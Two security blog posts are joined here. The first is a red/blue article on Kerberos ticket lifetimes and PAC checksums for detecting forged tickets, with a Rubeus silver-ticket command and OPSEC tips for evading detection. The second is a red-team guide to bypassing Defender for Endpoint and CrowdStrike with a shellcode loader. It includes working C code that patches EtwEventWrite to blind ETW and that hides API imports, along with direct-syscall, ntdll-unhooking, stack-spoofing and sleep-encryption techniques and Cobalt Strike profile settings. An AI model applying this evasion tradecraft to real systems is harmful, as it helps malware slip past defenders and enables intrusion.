RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

Original text by Andrew Schwartz in Incident ResponseIncident Response & ForensicsPenetration TestingPurple Team Adversarial Detection & CountermeasuresThreat Hunting

1    INTRODUCTION

At SANS Pen Test HackFest 2022, Charlie Clark (@exploitph) and I presented our talk ‘I’ve Got a Golden Twinkle in My Eye‘ whereby we built and demonstrated two tools that assist with more accurate detection of forged tickets being used. Although we demonstrated the tools, we stressed the message of focusing on the technique of decrypting tickets rather than the tools themselves.

As we dove into our research of building IOAs, we often found ourselves examining ticket times and checksums and were repeatedly surprised by the lack of information from both Red and Blue perspectives for the ticket times and the checksums of Kerberos tickets. As such, this post will provide a more in-depth background to explain their importance and how/why understanding them can better serve offensive and defensive operators.

2    TICKET TIMES

2.1      BACKGROUND OF TICKET TIMES

In Kerberos, each ticket contains three timestamps. These times govern the period for which the ticket is valid. The three times are: 

  • Start Time[1] – The time from which the ticket becomes usable
  • End Time – Calculated from the Start time and the time the ticket becomes unusable
  • Renew Time – Calculated from the Start time and the duration of renewal[2]

Both Blue and Red teams should be especially cognizant of the ‘End’ and ‘Renew’ times. The understood limits for these times are stored in the Kerberos Policy within the domain GPO. While it’s true that this policy determines the max values for these times, in many situations it is the account configuration and group membership that take a higher priority. It is important to know that the times discussed in the rest of this section define or calculate the maximum value for the relevant time and that a ticket can always be requested for a time before the maximum.

Within the Kerberos Policy there are three settings relevant to ticket times:

  • Maximum lifetime for a service ticket – the number of minutes from the Start Time that a service ticket’s End Time can be
  • Maximum lifetime for a user ticket – the number of hours from the Start Time that a TGT’s End Time can be
  • Maximum lifetime for user ticket renewal – the number of days from the Start Time that a TGT’s Renew Time can be

The following is a screenshot of the default values for these settings:

Figure 1 – Example of Default GPO Kerberos Policy and klist output

(The above screenshot is courtesy of Wendy Jiang of Microsoftanswering a question on Microsoft’s forum.)

2.1.1     TICKET TIMES AND THE PROTECTED USERS GROUP

In AD domains with at least one 2012+ Windows domain controller, there is a group called Protected Users that provides ‘enhanced security‘ through membership. The Protected Users group has multiple facets; however, the protection relevant to ticket times is that both End and Renew Times have their max values set to four hours, meaning the maximum for both times is the ticket Start Time + four hours. However, looking at the documentation, this is far from clear: 

Figure 2 – Microsoft’s Documentation on Domain Controller Protections for Protected Users

2.1.2     LOGON HOURS

Within AD, a feature exists to restrict when a user can or cannot log on. This can be configured individually on the user’s properties. The hours can be configured as either permitted or denied.

Figure 3 – Account Logon Hours Configuration Settings

Each block in this table represents an hour of the day, and this translates to a bit in the logonHoursattribute of that user account.

Figure 4 – Logon Hours Value in Hexadecimal

For tickets to the kadmin/changepw service, the End and Renew Times are two minutes after the Start Time.

2.2      TICKET TIMES FOR BLUE TEAMS

To detect a forged ticket, it is imperative for a Blue team to inspect the times associated with the ticket. This can greatly increase the chances of detecting anomalous activity. One of the most well-known IOAs associated with a Golden Ticket is the default End and Renew time of 10 years minus two days. A savvy attacker can easily employ OPSEC to avoid this IOA. However, we can still have great success in catching ‘smash and grab’ attackers. 

An interesting control Blue teams can employ is to create a higher priority policy than the Default Domain Policy and set the Kerberos Policy to non-default. As attackers generally only look at the Default Domain Policy for the times when forging tickets, it is likely many will miss the policy that takes a higher priority. It is important to note that the times need to be set lower and not higher than the Default Domain Policy, as tickets with times lower than the max values are still valid. Below, we have created a new policy and moved it to be the first position in the GPO link order.

Figure 6 – ‘Custom’ Policy in Link Order Position 1

Now, let’s look at our example user ironman and proceed to forge a Golden Ticket. (Note: For this demonstration, OPSEC is not employed.)

Figure 7 – Golden Ticket With Wrong Ticket Times

Looking at our Golden Ticket for ironman, we can clearly see that the EndTime and RenewTill times are wrong as they are based off the Default Domain Policy and not the ‘custom’ policy that was prioritized. In contrast, the screenshot below shows a genuine, initial TGT (#1) that has the End Time of nine hours after the Start Time, matching the new custom Kerberos Policy for user tickets, and a delegated TGT (#0) that has the End Time of eight hours and 20 minutes (or 500 minutes), matching the custom Kerberos Policy for service tickets. This also highlights the importance of making the service ticket lifetime different (lower) than the user ticket (TGT) lifetime. Both tickets have the new Renew Time of six days.

Figure 8 – Genuine Tickets With Times Based on ‘Custom’ Domain Policy

Our tool WonkaVison automates most of these checks but does not, at the time of this post, examine the correct order of GPO Policy or their priorities.

Tier-0 accounts with a greater level of privilege in a domain are often high-value targets (HVTs) for attackers. As such, the Blue team can add these users to the Protected Users group for enhanced protection features. Given that users within the Protected Users group have restricted ticket times, the Blue team can use this to detect forged tickets by attackers that do not take this into account. Note: Per the official Microsoft Documentation, service and computer accounts “…should never be members of the Protected Users group”. It is also good security practice to ensure these accounts are not highly privileged.  

Additionally, the Blue team can use AD’s feature of restricting logonHours to their advantage. By enabling, tracking, and alerting, a user attempting to log on during a restricted time can be an IOA of an attacker, as it may be anomalous, using a compromised account.

It is important to note that the restriction of logonHours will not prevent the actual usage of the Golden Ticket. However, it will prevent the ability to request an initial TGT (ASKTGT).

Figure 9 – ASKTGT With Error KDC_ERR_CLIENT_REVOKED

If we check our Windows EVTX logs filtering on Kerberos events (generally EIDs: 4768 and 4769), we get the following event:

Figure 10 – 4768 Event With KDC_ERR_CLIENT_REVOKED

Most notably, Ticket Encryption Type (0xFFFFFFFF) translates to This type shows in Audit Failure events, and the Failure Code (0x12) resolves to KDC_ERR_CLIENT_REVOKED. From a deterrence point of view, we can see the benefit of this control. However, from a detection/hunt/DFIR point of view, this event by itself would not have high fidelity in catching an attacker, as it would most likely be prevalent in most organizations. Granted, as the event does have the source IP address in question, the event can be correlated with EID 5156, as shown by Jonathan Johnson’s (@jsecurity101research.

2.3      TICKET TIMES FOR RED TEAMS

As previously discussed, the Protected Users group provides added security controls to its members to boost IAM. By enumerating its members, an attacker can identify which users are restricted and can then tailor forged tickets to blend in more normally within the restricted operating times, making it harder for defenders to identify anomalous activity. 

As noted, the logonHours attribute is in raw bytes and is not easily human readable as a result. An attacker or Red teamer reading this attribute prior to forging a ticket can be extremely beneficial for evading detection when attempting to compromise another (e.g., lateral movement) asset. Charlie Clark’s fork of PowerView automatically converts the logonHours attribute to a more readable form.

Figure 11 – Logon Hours by User Enumerated via Charlie Clark’s Fork of PowerView

As we can see in the above screenshot, the user ironman is restricted from logging on during the hours of 2300 – 0300 on Thursdays. This means that if the domain policy for the End and Renew Times of the ticket is longer than the next time where logon is restricted, then these will become the new End and Renew times.

The Red team should be aware of when a user can log on, because if they use a forged ticket during a user’s restricted hours, the Blue team could use a Windows Event ID 4769 to see if a service ticket was successfully requested. A logon during a restricted time would be anomalous as this would not be possible during normal operations. 

Additionally, the Red team can enumerate the Kerberos Domain Policy. This can be performed with a recent commit Charlie Clark made to his fork of PowerView.

Figure 12 – Charlie Clark’s PowerView Get-DomainGPOStaus cmdlet

Here, not only is the GPO priority shown for the given organizational unit (OU) but also the various statuses of the GPO. This function, however, does not consider inheritance, but for this particular usage, that should not be an issue. By knowing this information, we can then calculate the correct values and pass them to Rubeus manually when forging a ticket.

Note: Charlie Clark also has a function Get-RubeusForgeryArgs within PowerView that automates the calculation of the ticket times. However, for the user ironman, the reason Get-RubeusForgeryArgs has not added the EndTime and RenewTill arguments is that, at the time of execution, ironman is not allowed to log on as specified by the logonHours. Because ironman is also not a member of the Protected Users group, Get-RubeusForgeryArgs has defaulted back to the Kerberos Policy, and since it only looks at the Default Domain Policy, which is set to defaults, it hasn’t added the arguments.

Figure 13 – Domain User With Restricted logonHours

Using Get-RubeusForgeryArgs against a regular user, the script has not taken into account the higher priority GPO Policy that was created above and incorrectly calculates the times to be the defaults, thus leaving the arguments out again.

Figure 14 – Regular Domain Admin

Get-RubeusForgeryArgs correctly calculates the End and Renew Times for the user thor, a member of the Protected Users group.

Figure 15 – User ‘thor’ in Protected Users Group

3    CHECKSUMS

3.1      BACKGROUND OF CHECKSUMS

Another key part of the ticket that caught our eye during our research was the Checksums. There are several types of checksums stored in the ticket, depending on the type of ticket. These checksums are there to prevent the ticket from manipulation. One thing to keep in mind for the next sections is that the words Checksum and Signature are used interchangeably.

Originally, there were two checksums (Server and KDC). As a result of the Bronze Bit Attack, Microsoft implemented the Ticket Checksum. More recently, Microsoft implemented the FullPAC Checksum as a result of CVE-2022-37967.

Microsoft’s documentation on PAC_SIGNATURE_DATA, which is the name of the structure within the PAC where a checksum and its type are stored, can be found here.

3.2      TYPES OF CHECKSUMS

3.2.1     SERVER CHECKSUM

The Server Checksum is generated by the KDC and covers the PAC with the Server and KDC Checksum signatures ‘zeroed’ out (each byte of the signature buffer set to zero). The key that is used to encrypt the ticket is also used to create the checksum.

Microsoft’s documentation on the Server Signature can be found here.

3.2.2     KDC CHECKSUM

The KDC Checksum protects the Server Checksum and is signed by the KRBTGT key.

Microsoft’s documentation on the KDC Signature can be found here.

3.2.3     TICKET CHECKSUM

The Ticket Checksum was introduced to protect the encrypted part of the ticket from modification. The Bronze Bit attack took advantage of the fact that, for an S4U2Self ticket, the requesting account could decrypt the ticket, modify the encrypted part, re-encrypt it, and use the ticket. The Ticket Checksum covers the encrypted part of the ticket with the PAC set to 0 (a single byte set to zero).

Microsoft’s documentation on the Ticket Signature can be found here.

3.2.4     FULLPAC CHECKSUM

The FullPAC Checksum was introduced to protect the PAC from an RC4 attack. As a result, Microsoft released an OOB patch in the November 2022 patches. As it stands, this signature is in audit mode until October 2023 when Microsoft will begin automatic enforcement of this signature. Interestingly, as of writing this blog post, this signature has not been documented on Microsoft’s website.

Figure 16 – List of Kerberos Checksums Documented From Microsoft

The FullPAC Checksum is essentially the same as the Server Checksum but signed with the KRBTGTkey. So, it covers the whole PAC with the Server and KDC Checksums zeroed out.

Note: Ticket and FullPAC Checksums are not present in TGTs or referrals. They are only present in service tickets.

For the next two sections, we are mainly going to focus on service tickets and referrals. The reason for this is that local TGTs are protected by the KRBTGT key and therefore only contain the Server and KDC Checksums, which are both signed with the KRBTGT key. If an attacker can forge a TGT, then they can also sign both checksums correctly. However, this is not the case for service tickets and referrals. While genuine referrals lack the Ticket and FullPAC Checksums, the KDC Checksum is still signed with the KRBTGT key while the trust key is used for the Server Checksum and ticket encryption.

3.3      CHECKSUMS FOR BLUE TEAMS

For the Blue team, having the ability to gain telemetry into the PAC to view the checksums is a significant indicator that a forged ticket has been created and most likely used. To help identify forged tickets via the use of checksums, we have created the ‘Charlie Checksum Verification Test’.

In this example, I have supplied the following command to Rubeus to generate a Silver Ticket:

Rubeus.exe silver /aes256:<aes256_key> /ldap /user:thor /service:cifs/asgard-wrkstn.marvel.local /nowrap

Our terminal output will show the following, noting that the ServiceKey and the KDCKey are the same.

Figure 17 – Rubeus Silver Ticket Creation Without krbkey

If we describe our Silver Ticket and use the ServiceKey and the actual KRBTGT key via the /krbkeyparameter, we can verify any checksum that has been signed with the KRBTGT key (i.e., the KDC, Ticket, and FullPAC Checksums). We will see in the next screenshot that these checksums are INVALID. This indicates, but does not solidify or confirm, that the service ticket is forged. The exception being that the KRBTGT key may have been rotated since the creation of the service ticket, further checks would be required to determine this.

igure 18 – Rubeus Describe of Silver Ticket With Actual KRBTGT Key

It would be better for the Blue team to first check with the ServiceKey as the /krbkey. If that matches, then you have a forged ticket!

Figure 19 – Rubeus Description of Silver Ticket With ServiceKey as KRBTGT Key

3.4      CHECKSUMS FOR RED TEAMS

All four checksums have been implemented into Rubeus, with the last being merged with this PR. However, this is currently not the case with the main branches of Mimikatz and Impacket.

Part of the Red team’s greatest weapon in their arsenal is the employment of OPSEC. The more similar a forged ticket is to a genuine ticket, the more difficult it is to detect.

The advantage of using Rubeus for Silver Ticket creation is the ability to pass the /krbkey, which will then be used to sign any checksum that is normally signed by the KRBTGT key. To best avoid detection, a Red teamer should use the real KRBTGT key. However, if one does not have the real KRBTGT key, a false one can be easily passed to Rubeus, which has a higher likelihood of avoiding detection than using the ServiceKey.

4    CONCLUSION

Our main purpose of this post, while this information is not ‘new’ or ‘revolutionary’, is to show how an intimate understanding of normal operations can help both Blue and Red teams in detection and OPSEC, respectively.

While gaining access to the encrypted part of Kerberos tickets may be a challenge for Blue teams, the importance of doing so for detection cannot be emphasized more. However, while it is not possible to review the checksums without decrypting the tickets, the ticket times are more easily accessible through commands like 

klist
 or the underlying call to LSA that 
klist
 makes use of.e

For Red teams, the ability to blend in with normal operations is a high priority. While it may not be possible to completely emulate normal behavior, such as using a Silver Ticket when the KRBTGT key is not available, understanding what Blue teams may look for to definitively determine malicious activity will always be beneficial.

Ultimately, all of us are working to improve security in a positive way, and that happens best when everyone has more information about how everything works.

5    ACKNOWLEDGEMENTS

A special thank you to the following individuals for helping review this post:

Elad Shamir (@elad_shamir)

Carlos Perez (@Carlos_Perez)

Julie Daymut

Megan Nielsen (@mega_spl0it)

Roza Maille

Jessica Sheneman


[1]. Technically, there is also Auth Time. Most often, Start Time and Auth Time are the same. For simplicity, we will not focus on Auth Time. If there is an Auth Time that is vastly different from the Start Time, the ticket will likely be issued for the future, in which case the Start Time of the ticket is the time from which when the End and Renew Times are calculated.

[2]. Keep in mind the ticket must be renewed before the End Time.

A blueprint for evading industry leading endpoint protection in 2022

original text by vivami

About two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.

In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can.

In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection and response capabilities (EDR) on enterprise endpoints. Commercial command and control frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily signatured by the endpoint protection industry and in order to execute that implant, the signatures (both static and behavioural) of that shellcode need to be obfuscated.

In this post, I will cover the following techniques, with the ultimate goal of executing malicious shellcode, also known as a (shellcode) loader:

1. Shellcode encryption

Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of external indicators of encryption activities performed by the loader. AES encryption to obfuscate static signatures of the shellcode leaves traces in the import address table of the binary, which increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions (e.g. 

CryptDecrypt
CryptHashData
CryptDeriveKey
 etc.) in earlier versions of this loader.

Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.

2. Reducing entropy

Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator of obfuscated parts of code in the binary.

There are several ways of reducing the entropy of our binary, two simple ones that work are:

  1. Adding low entropy resources to the binary, such as (low entropy) images.
  2. Adding strings, such as the English dictionary or some of 
    "strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll"
     output.

A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.

3. Escaping the (local) AV sandbox

Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply calculating a large prime number is my personal favourite. You can go a bit further and deterministically calculate a prime number and use that number as (a part of) the key to your encrypted shellcode.

4. Import table obfuscation

You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (import address table). This table consists of an overview of all the Windows APIs that your binary imports from other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs can be found here. Typically, these are 

VirtualAlloc
VirtualProtect
WriteProcessMemory
CreateRemoteThread
SetThreadContext
 etc. Running 
dumpbin /exports &lt;binary.exe&gt;
 will list all the imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.

We add the function signature of the WINAPI call, get the address of the WINAPI in 

ntdll.dll
 and then create a function pointer to that address:


typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;

unsigned char sVirtualProtect&#91;] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32&#91;] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &amp;oldProt);

Obfuscating strings using a character array cuts the string up in smaller pieces making them more difficult to extract from a binary.

The call will still be to an 

ntdll.dll
 WINAPI, and will not bypass any hooks in WINAPIs in 
ntdll.dll
, but is purely to remove suspicious functions from the IAT.

5. Disabling Event Tracing for Windows (ETW)

Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in the kernel, mainly to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of 

ntdll.dll
 (ETW deep dive and attack vectors). Since 
ntdll.dll
 is a DLL loaded into the process of our binary, we have full control over this DLL and therefore the ETW functionality. There are quite a few different bypasses for ETW in userspace, but the most common one is patching the function 
EtwEventWrite
 which is called to write/log ETW events. We fetch its address in 
ntdll.dll
, and replace its first instructions with instructions to return 0 (
SUCCESS
).


void disableETW(void) {
    // return 0
    unsigned char patch&#91;] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret
   
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
   
    HANDLE hCurrentProc = GetCurrentProcess();
   
    unsigned char sEtwEventWrite&#91;] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
   
    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
   
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, PAGE_READWRITE, &amp;oldprotect);
   
    memcpy(pEventWrite, patch, size / sizeof(patch&#91;0]));
   
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, oldprotect, &amp;oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
   
}

I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.

6. Evading common malicious API call patterns

Most behavioural detection is ultimately based on detecting malicious patterns. One of these patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily monitored. However, these calls are also used for benign activity (the 

VirtualAlloc
WriteProcess
CreateThread
 pattern in combination with a memory allocation and write of ~250KB of shellcode) and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak wrote a great blog post leveraging delays and smaller chunks of allocating and writing memory to blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of a typical shellcode loader:

  1. Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as 
    NO_ACCESS
    . Then write the shellcode in a similar chunk size to the allocated memory pages.
  2. Introduce delays between every of the above mentioned operations. This will increase the time required to execute the shellcode, but will also make the consecutive execution pattern stand out much less.

One catch with this technique is to make sure you find a memory location that can fit your entire shellcode in consecutive memory pages. Filip’s DripLoader implements this concept.

The loader I’ve built does not inject the shellcode into another process but instead starts the shellcode in a thread in its own process space using 

NtCreateThread
. An unknown process (our binary will de facto have low prevalence) into other processes (typically a Windows native ones) is suspicious activity that stands out (recommended read “Fork&Run – you’re history”). It is much easier to blend into the noise of benign thread executions and memory operations within a process when we run the shellcode within a thread in the loader’s process space. The downside however is that any crashing post-exploitation modules will also crash the process of the loader and therefore the implant. Persistence techniques as well as running stable and reliable BOFs can help to overcome this downside.

7. Direct system calls and evading “mark of the syscall”

The loader leverages direct system calls for bypassing any hooks put in 

ntdll.dll
 by the EDRs. I want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of this post and a lot of great posts have been written about it (e.g. Outflank).

In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of calling the 

ntdll.dll
 
VirtualAlloc
 we call its kernel equivalent 
NtAlocateVirtualMemory
 defined in the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls to (in this example) 
VirtualAlloc
 defined in 
ntdll.dll
.

In order to call a system call directly, we fetch the syscall ID of the system call we want to call from 

ntdll.dll
, use the function signature to push the correct order and types of function arguments to the stack, and call the 
syscall &lt;id&gt;
 instruction. There are several tools that arrange all this for us, SysWhispers2 and SysWhisper3 are two great examples. From an evasion perspective, there are two issues with calling direct system calls:

  1. Your binary ends up with having the 
    syscall
     instruction, which is easy to statically detect (a.k.a “mark of the syscall”, more in “SysWhispers is dead, long live SysWhispers!”).
  2. Unlike benign use of a system call that is called through its 
    ntdll.dll
     equivalent, the return address of the system call does not point to 
    ntdll.dll
    . Instead, it points to our code from where we called the syscall, which resides in memory regions outside of 
    ntdll.dll
    . This is an indicator of a system call that is not called through 
    ntdll.dll
    , which is suspicious.

To overcome these issues we can do the following:

  1. Implement an egg hunter mechanism. Replace the 
    syscall
     instruction with the 
    egg
     (some random unique identifiable pattern) and at runtime, search for this 
    egg
     in memory and replace it with the 
    syscall
     instruction using the 
    ReadProcessMemory
     and 
    WriteProcessMemory
     WINAPI calls. Thereafter, we can use direct system calls normally. This technique has been implemented by klezVirus.
  2. Instead of calling the 
    syscall
     instruction from our own code, we search for the 
    syscall
     instruction in 
    ntdll.dll
     and jump to that memory address once we’ve prepared the stack to call the system call. This will result in an return address in RIP that points to 
    ntdll.dll
     memory regions.

Both techniques are part of SysWhisper3.

8. Removing hooks in 
ntdll.dll

Another nice technique to evade EDR hooks in 

ntdll.dll
 is to overwrite the loaded 
ntdll.dll
 that is loaded by default (and hooked by the EDR) with a fresh copy from 
ntdll.dll
ntdll.dll
 is the first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded shortly after, which puts all the hooks in place in the loaded 
ntdll.dll
 before our own code will execute. If our code loads a fresh copy of 
ntdll.dll
 in memory afterwards, those EDR hooks will be overwritten. RefleXXion is a C++ library that implements the research done for this technique by MDSec. RelfeXXion uses direct system calls 
NtOpenSection
 and 
NtMapViewOfSection
 to get a handle to a clean 
ntdll.dll
 in 
\KnownDlls\ntdll.dll
 (registry path with previously loaded DLLs). It then overwrites the 
.TEXT
 section of the loaded 
ntdll.dll
, which flushes out the EDR hooks.

I recommend to use adjust the RefleXXion library to use the same trick as described above in section 7.

9. Spoofing the thread call stack

The next two sections cover two techniques that provide evasions against detecting our shellcode in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for memory scanning techniques from the EDR. The first of the two evasions described in this post is spoofing the thread call stack.

When the implant is sleeping, its thread return address is pointing to our shellcode residing in memory. By examining the return addresses of threads in a suspicious process, our implant shellcode can be easily identified. In order to avoid this, want to break this connection between the return address and shellcode. We can do so by hooking the 

Sleep()
 function. When that hook is called (by the implant/beacon shellcode), we overwrite the return address with 
0x0
 and call the original 
Sleep()
 function. When 
Sleep()
 returns, we put the original return address back in place so the thread returns to the correct address to continue execution. Mariusz Banach has implemented this technique in his ThreadStackSpoofer project. This repo provides much more detail on the technique and also outlines some caveats.

We can observe the result of spoofing the thread call stack in the two screenshots below, where the non-spoofed call stack points to non-backed memory locations and a spoofed thread call stack points to our hooked Sleep (

MySleep
) function and “cuts off” the rest of the call stack.

Default beacon thread call stack.
Spoofed beacon thread call stack.

10. In-memory encryption of beacon

The other evasion for in-memory detection is to encrypt the implant’s executable memory regions while sleeping. Using the same sleep hook as described in the section above, we can obtain the shellcode memory segment by examining the caller address (the beacon code that calls 

Sleep()
 and therefore our 
MySleep()
 hook). If the caller memory region is 
MEM_PRIVATE
 and 
EXECUTABLE
 and roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and 
Sleep()
 is called. Then 
Sleep()
 returns, it decrypts the memory segment and returns to it.

Another technique is to register a Vectored Exception Handler (VEH) that handles 

NO_ACCESS
 violation exceptions, decrypts the memory segments and changes the permissions to 
RX
. Then just before sleeping, mark the memory segments as 
NO_ACCESS
, so that when 
Sleep()
 returns, it throws a memory access violation exception. Because we registered a VEH, the exception is handled within that thread context and can be resumed at the exact same location the exception was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant can continue execution. This technique prevents a detectible 
Sleep()
 hook being in place when the implant is sleeping.

Mariusz Banach has also implemented this technique in ShellcodeFluctuation.

11. A custom reflective loader

The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed in memory. Many C2 frameworks leverage Stephen Fewer’s ReflectiveLoader. There are many well written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is also well documented, but in short a Reflective Loader does the following:

  1. Resolve addresses to necessary 
    kernel32.dll
     WINAPIs required for loading the DLL (e.g. 
    VirtualAlloc
    LoadLibraryA
     etc.)
  2. Write the DLL and its sections to memory
  3. Build up the DLL import table, so the DLL can call 
    ntdll.dll
     and 
    kernel32.dll
     WINAPIs
  4. Load any additional library’s and resolve their respective imported function addresses
  5. Call the DLL entrypoint

Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques. Bobby Cooke and Santiago P built a stealthy loader (BokuLoader) using Cobalt Strike’s UDRL which I’ve used in my loader. BokuLoader implements several evasion techniques:

  • Limit calls to 
    GetProcAddress()
     (commonly EDR hooked WINAPI call to resolve a function address, as we do in section 4)
  • AMSI & ETW bypasses
  • Use only direct system calls
  • Use only 
    RW
     or 
    RX
    , and no 
    RWX
     (
    EXECUTE_READWRITE
    ) permissions
  • Removes beacon DLL headers from memory

Make sure to uncomment the two defines to leverage direct system calls via HellsGate & HalosGate and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and are not injecting the loader into another process).

12. OpSec configurations in your Malleable profile

In your Malleable C2 profile, make sure the following options are configured, which limit the use of 

RWX
 marked memory (suspicious and easily detected) and clean up the shellcode after beacon has started.


    set startrwx        "false";
    set userwx          "false";
    set cleanup         "true";
    set stomppe         "true";
    set obfuscate       "true";
    set sleep_mask      "true";
    set smartinject     "true";

Conclusions

Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with SentinelOne lead the endpoint protection industry.

CrowdStrike Falcon with 0 alerts.
Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.

Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the red team operator choses next, it can still be “game over” for the implant. In general, either run BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting the EDR hooks patches back in place in our 

Sleep()
 hook to avoid detection of unhooking, as well as removing the ETW/AMSI patches.

It’s a cat and mouse game, and the cat is undoubtedly getting better.